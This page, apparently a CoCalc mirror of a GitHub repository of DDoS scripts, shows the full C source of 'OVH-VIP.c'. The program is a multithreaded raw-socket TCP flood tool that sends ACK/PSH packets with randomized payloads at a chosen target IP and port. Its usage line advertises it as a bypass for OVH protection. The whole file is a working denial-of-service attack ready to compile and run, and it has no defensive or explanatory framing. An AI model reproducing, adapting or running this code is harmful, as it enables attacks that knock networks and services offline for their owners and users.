Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L4/TCP/OVH-VIP.c
4565 views
1
#include <unistd.h>
2
#include <time.h>
3
#include <sys/types.h>
4
#include <sys/socket.h>
5
#include <sys/ioctl.h>
6
#include <string.h>
7
#include <stdlib.h>
8
#include <stdio.h>
9
#include <pthread.h>
10
#include <netinet/tcp.h>
11
#include <netinet/ip.h>
12
#include <netinet/in.h>
13
#include <netinet/if_ether.h>
14
#include <netdb.h>
15
#include <net/if.h>
16
#include <arpa/inet.h>
17
18
#define MAX_PACKET_SIZE 4096
19
#define PHI 0x9e3779b9
20
21
static unsigned long int Q[4096], c = 362436;
22
static unsigned int floodPort;
23
static unsigned int packetsPerSecond;
24
static unsigned int sleepTime = 100;
25
static int limiter;
26
27
void init_rand(unsigned long int x)
28
{
29
int i;
30
Q[0] = x;
31
Q[1] = x + PHI;
32
Q[2] = x + PHI + PHI;
33
for (i = 3; i < 4096; i++)
34
{
35
Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
36
}
37
}
38
39
unsigned long int rand_cmwc(void)
40
{
41
unsigned long long int t, a = 18782LL;
42
static unsigned long int i = 4095;
43
unsigned long int x, r = 0xfffffffe;
44
i = (i + 1) & 4095;
45
t = a * Q[i] + c;
46
c = (t >> 32);
47
x = t + c;
48
if (x < c)
49
{
50
x++;
51
c++;
52
}
53
return (Q[i] = r - x);
54
}
55
56
struct pseudo_header
57
{
58
u_int32_t source_address;
59
u_int32_t dest_address;
60
u_int8_t placeholder;
61
u_int8_t protocol;
62
u_int16_t tcp_length;
63
};
64
65
unsigned short csum(unsigned short *ptr,int nbytes)
66
{
67
register long sum;
68
unsigned short oddbyte;
69
register short answer;
70
71
sum = 0;
72
while(nbytes > 1)
73
{
74
sum += *ptr++;
75
nbytes -= 2;
76
}
77
if(nbytes == 1)
78
{
79
oddbyte = 0;
80
*((u_char*)&oddbyte) = *(u_char*)ptr;
81
sum += oddbyte;
82
}
83
84
sum = (sum >> 16) + (sum & 0xffff);
85
sum = sum + (sum >> 16);
86
answer = (short)~sum;
87
88
return(answer);
89
}
90
91
uint32_t util_external_addr(void)
92
{
93
int fd;
94
struct sockaddr_in addr;
95
socklen_t addr_len = sizeof (addr);
96
97
if ((fd = socket(AF_INET, SOCK_DGRAM, 0)) == -1)
98
{
99
return 0;
100
}
101
102
addr.sin_family = AF_INET;
103
addr.sin_addr.s_addr = (htonl((8 << 24) | (8 << 16) | (8 << 8) | (8 << 0)));
104
addr.sin_port = htons(53);
105
106
connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));
107
108
getsockname(fd, (struct sockaddr *)&addr, &addr_len);
109
close(fd);
110
return addr.sin_addr.s_addr;
111
}
112
113
void setup_fin_header(struct tcphdr *tcpHeader)
114
{
115
tcpHeader->source = rand();
116
tcpHeader->seq = rand();
117
tcpHeader->ack_seq = rand();
118
tcpHeader->res2 = 0;
119
tcpHeader->ack = 1;
120
tcpHeader->psh = 0;
121
tcpHeader->fin = 1;
122
tcpHeader->doff = 5;
123
tcpHeader->window = rand();
124
tcpHeader->check = 0;
125
tcpHeader->urg_ptr = 0;
126
}
127
128
void setup_tcp_header(struct tcphdr *tcpHeader)
129
{
130
tcpHeader->source = rand();
131
tcpHeader->seq = rand();
132
tcpHeader->ack_seq = rand();
133
tcpHeader->res2 = 0;
134
tcpHeader->ack = 1;
135
tcpHeader->psh = 1;
136
tcpHeader->fin = 0;
137
tcpHeader->doff = 5;
138
tcpHeader->window = rand();
139
tcpHeader->check = 0;
140
tcpHeader->urg_ptr = 0;
141
}
142
143
void *flood(void *par1)
144
{
145
char *td = (char*)par1;
146
char datagram[MAX_PACKET_SIZE];
147
struct iphdr *ipHeader = (struct iphdr*)datagram;
148
struct tcphdr *tcpHeader = (void*)ipHeader + sizeof(struct iphdr);
149
struct pseudo_header psh;
150
char *data, *pseudogram;
151
int randomLength = rand() % (120 - 90 + 1) + 90;
152
153
struct sockaddr_in sin;
154
sin.sin_family = AF_INET;
155
sin.sin_port = htons(floodPort);
156
sin.sin_addr.s_addr = inet_addr(td);
157
158
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
159
160
if(s < 0)
161
{
162
fprintf(stderr, "Could not open raw socket.\n");
163
exit(-1);
164
}
165
166
memset(datagram, 0, MAX_PACKET_SIZE);
167
data = datagram + sizeof(struct iphdr) + sizeof(struct tcphdr);
168
169
int a = 0;
170
for (a = 0; a < randomLength; a++)
171
{
172
*(char*)++data = (char)(rand() & 0xFFFF);
173
}
174
175
ipHeader->ihl = 5;
176
ipHeader->version = 4;
177
ipHeader->tos = 0;
178
ipHeader->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr) + randomLength;
179
ipHeader->id = htonl(54321);
180
ipHeader->frag_off = 0;
181
ipHeader->ttl = 111;
182
ipHeader->protocol = 6;
183
ipHeader->check = 0;
184
ipHeader->saddr = util_external_addr();
185
ipHeader->daddr = sin.sin_addr.s_addr;
186
187
ipHeader->check = csum ((unsigned short *) datagram, ipHeader->tot_len);
188
189
tcpHeader->source = rand();
190
tcpHeader->dest = htons(floodPort);
191
tcpHeader->seq = rand();
192
tcpHeader->ack_seq = rand();
193
tcpHeader->res2 = 0;
194
tcpHeader->doff = 5;
195
tcpHeader->ack = 1;
196
tcpHeader->psh = 1;
197
tcpHeader->window = rand();
198
tcpHeader->check = 0;
199
tcpHeader->urg_ptr = 0;
200
201
psh.source_address = util_external_addr();
202
psh.dest_address = sin.sin_addr.s_addr;
203
psh.placeholder = 0;
204
psh.protocol = IPPROTO_TCP;
205
psh.tcp_length = htons(sizeof(struct tcphdr) + randomLength);
206
207
int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + randomLength;
208
pseudogram = malloc(psize);
209
210
memcpy(pseudogram, (char*)&psh, sizeof(struct pseudo_header));
211
memcpy(pseudogram + sizeof(struct pseudo_header), tcpHeader, sizeof(struct tcphdr) + randomLength);
212
213
tcpHeader->check = csum((unsigned short*)pseudogram, psize);
214
215
int tmp = 1;
216
const int *val = &tmp;
217
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0)
218
{
219
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
220
exit(-1);
221
}
222
223
init_rand(time(NULL));
224
register unsigned int i;
225
register unsigned int packetCounter = 0;
226
227
i = 0;
228
while(1)
229
{
230
if(packetCounter > 1000)
231
{
232
setup_fin_header(tcpHeader);
233
pthread_detach(pthread_self());
234
int sockfd, check;
235
struct sockaddr_in target;
236
sockfd = socket(AF_INET, SOCK_STREAM, 0);
237
bzero((char*)&target, sizeof(target));
238
target.sin_family = AF_INET;
239
target.sin_addr.s_addr = sin.sin_addr.s_addr;
240
target.sin_port = htons(floodPort);
241
check = connect(sockfd, (struct sockaddr*)&target, sizeof(target));
242
packetCounter = 0;
243
}
244
else
245
{
246
packetCounter += 1;
247
}
248
249
sendto(s, datagram, ipHeader->tot_len, 0, (struct sockaddr *)&sin, sizeof(sin));
250
free(pseudogram);
251
252
setup_tcp_header(tcpHeader);
253
254
randomLength = rand() % (120 - 90 + 1) + 90;
255
data = datagram + sizeof(struct iphdr) + sizeof(struct tcphdr);
256
257
int a = 0;
258
for (a = 0; a < randomLength; a++)
259
{
260
*(char*)++data = (char)(rand() & 0xFFFF);
261
}
262
263
ipHeader->id = htonl(rand_cmwc() & 0xFFFFFFFF);
264
ipHeader->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr) + randomLength;
265
ipHeader->check = csum ((unsigned short*)datagram, ipHeader->tot_len);
266
267
tcpHeader->seq = rand_cmwc() & 0xFFFF;
268
tcpHeader->source = htons(rand_cmwc() & 0xFFFF);
269
tcpHeader->check = 0;
270
271
psh.dest_address = sin.sin_addr.s_addr;
272
psh.placeholder = 0;
273
psh.protocol = IPPROTO_TCP;
274
psh.tcp_length = htons(sizeof(struct tcphdr) + randomLength);
275
276
int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + randomLength;
277
pseudogram = malloc(psize);
278
279
memcpy(pseudogram, (char*)&psh, sizeof(struct pseudo_header));
280
memcpy(pseudogram + sizeof(struct pseudo_header), tcpHeader, sizeof(struct tcphdr) + randomLength);
281
282
tcpHeader->check = csum((unsigned short*)pseudogram, psize);
283
284
packetsPerSecond++;
285
if(i >= limiter)
286
{
287
i = 0;
288
usleep(9000);
289
}
290
i++;
291
}
292
}
293
294
int main(int argc, char *argv[])
295
{
296
if(argc < 6)
297
{
298
fprintf(stdout, "OVH-VIP, OVH Based bypass\nUsage: %s <target IP> <port> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);
299
exit(-1);
300
}
301
302
fprintf(stdout, "Setting up networking...\n");
303
304
int numThreads = atoi(argv[3]);
305
floodPort = atoi(argv[2]);
306
int maxPacketsPerSecond = atoi(argv[4]);
307
limiter = 0;
308
packetsPerSecond = 0;
309
pthread_t thread[numThreads];
310
int multiplier = 20;
311
int i;
312
313
for(i = 0; i < numThreads; i++)
314
{
315
pthread_create(&thread[i], NULL, &flood, (void*)argv[1]);
316
}
317
318
fprintf(stdout, "Starting...\n");
319
320
for(i = 0; i < (atoi(argv[5]) * multiplier); i++)
321
{
322
usleep((1000 / multiplier) * 1000);
323
if((packetsPerSecond * multiplier) > maxPacketsPerSecond)
324
{
325
if(1 > limiter)
326
{
327
sleepTime += 100;
328
}
329
else
330
{
331
limiter--;
332
}
333
}
334
else
335
{
336
limiter++;
337
if(sleepTime > 25)
338
{
339
sleepTime -= 25;
340
}
341
else
342
{
343
sleepTime = 0;
344
}
345
}
346
packetsPerSecond = 0;
347
}
348
return 0;
349
}
350